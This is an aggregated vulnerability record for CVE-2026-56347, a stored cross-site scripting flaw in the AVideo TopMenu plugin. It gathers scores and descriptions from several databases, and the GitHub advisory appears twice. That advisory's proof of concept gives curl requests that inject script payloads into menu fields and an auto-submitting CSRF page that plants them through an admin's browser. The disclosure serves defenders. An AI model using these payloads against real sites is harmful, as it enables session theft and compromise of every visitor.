CVE-2026-56347
AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
- Record
CVE-2026-56347- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-08
EUVDEUVD-2026-38134
5.3
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
- Record
EUVD-2026-38134- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-08
GitHub AdvisoriesGHSA-5226-vrg8-xx79
5.3
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability...
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
- Record
GHSA-5226-vrg8-xx79- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gmpc-fxg2-vcmq
6.1
AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin
Summary
The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.
Details
Multiple output locations in the TopMenu plugin render user-controlled data without escaping:
In HTMLMenuRight.php:24, the icon class is injected directly:
<i class="<?php echo $value2['icon'] ?>"></i>
In HTMLMenuRight.php:40, the URL is rendered without encoding:
<a href="<?php echo $value2['finalURL']; ?>">
In HTMLMenuLeft.php:32, same pattern for the left menu:
<a href="<?php echo $value2['finalURL']; ?>">
In index.php:49, the menu item text is echoed raw:
<?php echo $menuItem->getText(); ?>
Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.
Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.
Proof of Concept
- As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
- Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
- Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
- Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
<input type="hidden" name="menuId" value="1" />
<input type="hidden" name="item_order" value="99" />
<input type="hidden" name="item_status" value="a" />
<input type="hidden" name="text" value="<script>alert(document.cookie)</script>" />
<input type="hidden" name="title" value="Home" />
<input type="hidden" name="url" value="/" />
<input type="hidden" name="icon" value="fa-home" />
<input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>
The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.
- Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
- The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.
Impact
Stored cross-site scripting on every page of the AVideo…
- Record
GHSA-gmpc-fxg2-vcmq- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.3
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
- Record
CVE-2026-56347- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.3
AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields
AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.
- Record
CVE-2026-56347- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-09
OSVGHSA-gmpc-fxg2-vcmq
6.1
AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin
Summary
The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.
Details
Multiple output locations in the TopMenu plugin render user-controlled data without escaping:
In HTMLMenuRight.php:24, the icon class is injected directly:
<i class="<?php echo $value2['icon'] ?>"></i>
In HTMLMenuRight.php:40, the URL is rendered without encoding:
<a href="<?php echo $value2['finalURL']; ?>">
In HTMLMenuLeft.php:32, same pattern for the left menu:
<a href="<?php echo $value2['finalURL']; ?>">
In index.php:49, the menu item text is echoed raw:
<?php echo $menuItem->getText(); ?>
Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.
Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.
Proof of Concept
- As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
- Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
- Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
- Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
<input type="hidden" name="menuId" value="1" />
<input type="hidden" name="item_order" value="99" />
<input type="hidden" name="item_status" value="a" />
<input type="hidden" name="text" value="<script>alert(document.cookie)</script>" />
<input type="hidden" name="title" value="Home" />
<input type="hidden" name="url" value="/" />
<input type="hidden" name="icon" value="fa-home" />
<input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>
The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.
- Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
- The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.
Impact
Stored cross-site scripting on every page of the AVideo…
- Record
GHSA-gmpc-fxg2-vcmq- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | EUVD | |
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56347 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-gmpc-fxg2-vcmq
vulncheck.com/advisories/avideo-topmenu-plugin-stored-cross-site-scripting-via-unescaped-menu-item-fields
nvd.nist.gov/vuln/detail/CVE-2026-56347
github.com/advisories/GHSA-5226-vrg8-xx79
github.com/advisories/GHSA-gmpc-fxg2-vcmq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56347.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.